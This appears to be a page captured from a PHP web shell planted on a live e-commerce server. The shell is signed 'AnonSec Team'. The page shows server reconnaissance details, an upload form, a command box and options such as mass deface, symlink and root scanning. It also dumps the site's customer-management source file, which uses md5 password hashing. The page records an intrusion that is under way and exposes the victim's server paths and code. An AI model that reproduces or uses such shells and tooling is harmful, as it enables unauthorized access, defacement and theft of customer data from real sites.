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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/www_frontend/new/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/www_frontend/new/lib/UserManager.php
<?php

class UserManager
{
 
 
 protected $db;
 private $ragioneSociale;
 private $telefono;
 private $cellulare; 
 private $indirizzo;
 private $codiceFiscale;
 private $email;
 private $citta;
 private $password;
 private $recruiting;
 private $cap;
 private $marketing;

 
	function __construct($db){
        $this->db = $db; 
        $this->ragioneSociale = null;
        $this->telefono = null;
        $this->cellulare = null;
        $this->indirizzo = null;
        $this->codiceFiscale = null;
        $this->email = null;
        $this->citta = null;
		$this->password = null;
        $this->marketing = null;
        $this->cap = null;
        $this->recruiting = null;
	}

 
    /*
     * get User Details
     *
     * @param $id_user
     * @return $mixed
     * */
    public function UserDetails($idcliente)
    {
        try {
            $query = $this->db->prepare("SELECT * FROM cliente WHERE idcliente=:idcliente LIMIT 1");
            $query->bindParam("idcliente", $idcliente, PDO::PARAM_INT);
            $query->execute();
            if ($query->rowCount() > 0) {
                return $query->fetch(PDO::FETCH_OBJ);
            }
        } catch (PDOException $e) {
            exit($e->getMessage());
        }
    }
    public function annullaPagamento($idordine, $txn_id, $payment_status, $payer_email, $first_name, $last_name, $address_street, $address_city, $address_state, $address_zip){
        
    }



    public function RegistraPagamento($idordine, $txn_id, $payment_status, $payer_email, $first_name, $last_name, $address_street, $address_city, $address_state, $address_zip){


        $query = $this->db->prepare("INSERT INTO notifiche (txn_id, payment_status, payer_email, first_name, last_name, address_street, address_city, address_state, address_zip) VALUES (:txn_id, :payment_status, :payer_email, :first_name, :last_name, :address_street, :address_city, :address_state, :address_zip)");

//            $query->bindParam("idordine", $idordine, PDO::PARAM_INT);

            $query->bindParam("txn_id", $txn_id, PDO::PARAM_STR);
            $query->bindParam("payment_status", $payment_status, PDO::PARAM_STR);
            $query->bindParam("payer_email", $payer_email, PDO::PARAM_STR);
            $query->bindParam("first_name", $first_name, PDO::PARAM_STR);
            $query->bindParam("last_name", $last_name, PDO::PARAM_STR);
            $query->bindParam("address_street", $address_street, PDO::PARAM_STR);
            $query->bindParam("address_city", $address_city, PDO::PARAM_STR);
            $query->bindParam("address_state", $address_state, PDO::PARAM_STR);
            $query->bindParam("address_zip", $address_zip, PDO::PARAM_STR);

            $response = $query->execute();
                
//                echo "\nPDOStatement::errorInfo():\n";
            $arr = $query->errorInfo();
            //print_r($arr);


            if($arr[0]==00000 || $arr[0]="0" || $arr[0]=="00000"){
                $idTrans = $this->db->lastInsertId();


                     $aquery = $this->db->prepare("UPDATE ordine SET status=10, txn_id=:atxn_id  WHERE idordine=:aidordine");
                     $aquery->bindParam("aidordine", $idordine, PDO::PARAM_STR);
                     $aquery->bindParam("atxn_id", $txn_id, PDO::PARAM_STR);
                     $aquery->execute();
                     $arr = $query->errorInfo();   

                    //decremento gli ordini
                    $ordine=$this->GetOrdersById($idordine);
                
                    $prod = json_decode($ordine['prodotti'],true);
                    foreach ($prod as $key => $value) {
                         $aquery = $this->db->prepare("UPDATE prodottoinvendita SET quantita=quantita-1 WHERE idprodotto=:aidprodotto");
                         $aquery->bindParam("aidprodotto", $prod['idprodotto'], PDO::PARAM_STR);
                         $aquery->execute();
                         $arr = $query->errorInfo();   
                    }
                
            }

        }


    public function RegistraOrdine($atipopagamento, $aidstato, $aindirizzospedizione, $idcliente, $asconto, $aprodotti, $email)
    {
        try{
            $query = $this->db->prepare("INSERT INTO ordine (idpagamento, idstato, indirizzospedizione, idcliente, sconto, prodotti) VALUES(:atipopagamento, :aidstato, :aindirizzospedizione, :idcliente, :asconto, :aprodotti)");
    
            $query->bindParam("atipopagamento", $atipopagamento, PDO::PARAM_INT);
            $query->bindParam("aidstato", $aidstato, PDO::PARAM_INT);
            $query->bindParam("aindirizzospedizione", $aindirizzospedizione, PDO::PARAM_STR);
            $query->bindParam("idcliente", $idcliente, PDO::PARAM_INT);
            $query->bindParam("asconto", $asconto, PDO::PARAM_STR);
            $query->bindParam("aprodotti", $aprodotti, PDO::PARAM_STR);
            $response = $query->execute();
                
//                echo "\nPDOStatement::errorInfo():\n";
            $arr = $query->errorInfo();
            //print_r($arr);


            if($arr[0]==00000 || $arr[0]="0" || $arr[0]=="00000"){

                $idInsertaPratica = $this->db->lastInsertId();


                if($atipopagamento != 1 && $atipopagamento!=2){ //se non è paypal
                    $prod = json_decode($prodotti,true);
                    foreach ($prod as $key => $value) {
                         $aquery = $this->db->prepare("UPDATE prodottoinvendita SET quantita=quantita-1 WHERE idprodotto=:aidprodotto");
                         $aquery->bindParam("aidprodotto", $prod['idprodotto'], PDO::PARAM_STR);
                         $aquery->execute();
                         $arr = $query->errorInfo();   
                    }
                }
                 
                 
                 if($arr[0]==00000 || $arr[0]="0" || $arr[0]=="00000"){


                    //INVIO E MAIL
                    $formType="ordine";
                    $sendEmail=$email;
                    $sendMessage="Gentile utente ti ringraziamo di aver effettuato l'ordine, il nostro team gestirà l'ordine nel più breve tempo possibile, da ora puoi effettuare il login e verificare lo stato dell'ordine dal sito http://www.ripara.co <br><br>Grazie di averci preferito!";
                    $respEmail = 1;//inviaEmail($formType, $sendEmail, $sendMessage);


                    $sendEmail="info@ripara.co";
                    $sendMessage="Gentile gestore, hai ricevuto un nuovo ordine:<br> l'indirizzo di spedizione è il seguente:$aindirizzospedizione <br>
                       <br>Controlla l'ordine dalla piattaforma di gestione!";
                   // $respEmail1 = inviaEmail($formType, $sendEmail, $sendMessage);


                    if('MF000' == $respEmail && 'MF000' == $respEmail1){
                        return $idInsertaPratica;       
                    }else{
                        return $idInsertaPratica;
                        return -2;
                    }
                }else{
                    return -1;
                }
            }else{
                return -1;
            }
        
           // return $query->rowCount();
        }catch(PDOException $e){
            
            exit($e->getMessage());

        }
    }        

    public function UpdateProfile($idcliente)
    {
        try{
            if($this->password){
                $query = $this->db->prepare("UPDATE cliente SET ragioneSociale=:ragioneSociale, indirizzo=:indirizzo, citta=:citta, codiceFiscale=:codiceFiscale, telefono=:telefono, cellulare=:cellulare, password=:password, cap=:cap, marketing=:marketing WHERE idcliente=:idcliente");
                $query->bindParam("password", $this->password, PDO::PARAM_STR);
            }else{
                $query = $this->db->prepare("UPDATE cliente SET ragioneSociale=:ragioneSociale, indirizzo=:indirizzo, citta=:citta, codiceFiscale=:codiceFiscale, telefono=:telefono, cellulare=:cellulare, cap=:cap, marketing=:marketing WHERE idcliente=:idcliente");
            }            
            $query->bindParam("ragioneSociale", $this->ragioneSociale, PDO::PARAM_STR);
            $query->bindParam("telefono", $this->telefono, PDO::PARAM_STR);
            $query->bindParam("cellulare", $this->cellulare, PDO::PARAM_STR);
            $query->bindParam("indirizzo", $this->indirizzo, PDO::PARAM_STR);
            $query->bindParam("codiceFiscale", $this->codiceFiscale, PDO::PARAM_STR);
            $query->bindParam("citta", $this->citta, PDO::PARAM_STR);
            $query->bindParam("ragioneSociale", $this->ragioneSociale, PDO::PARAM_STR);
            //$query->bindParam("recruiting", $this->recruiting, PDO::PARAM_STR);
            $query->bindParam("cap", $this->cap, PDO::PARAM_STR);

            $query->bindParam("marketing", $this->marketing, PDO::PARAM_STR);
            $query->bindParam("idcliente", $idcliente, PDO::PARAM_INT);
            $query->execute();
            $arr = $query->errorInfo();
            print_r($arr);

            return $query->rowCount();
        }catch(PDOException $e){
            
            exit($e->getMessage());

        }
    }

    
    public function setField($key, $value){
        $this->$key = $value;
    }    
	
	public function setPassword($password){
        $this->password = md5($password);
    }

    public function GetOrders($idcliente)
    {
        try{
            $query = $this->db->prepare("SELECT * from riparazione WHERE idcliente=:idcliente");
            $query->bindParam("idcliente", $idcliente, PDO::PARAM_INT);
            $query->execute();
            if ($query->rowCount() > 0) {
                return $query->fetchAll(PDO::FETCH_OBJ);
            }
        }catch(PDOException $e){
            exit($e->getMessage());
        }
    }
    public function GetOrdersById($idordine)
    {
        try{
            $query = $this->db->prepare("SELECT * from ordine WHERE idordine=:idordine");
            $query->bindParam("idordine", $idordine, PDO::PARAM_INT);
            $query->execute();
            if ($query->rowCount() > 0) {
                return $query->fetchAll(PDO::FETCH_OBJ);
            }
        }catch(PDOException $e){
            exit($e->getMessage());
        }
    }

	
}

Anon7 - 2022
AnonSec Team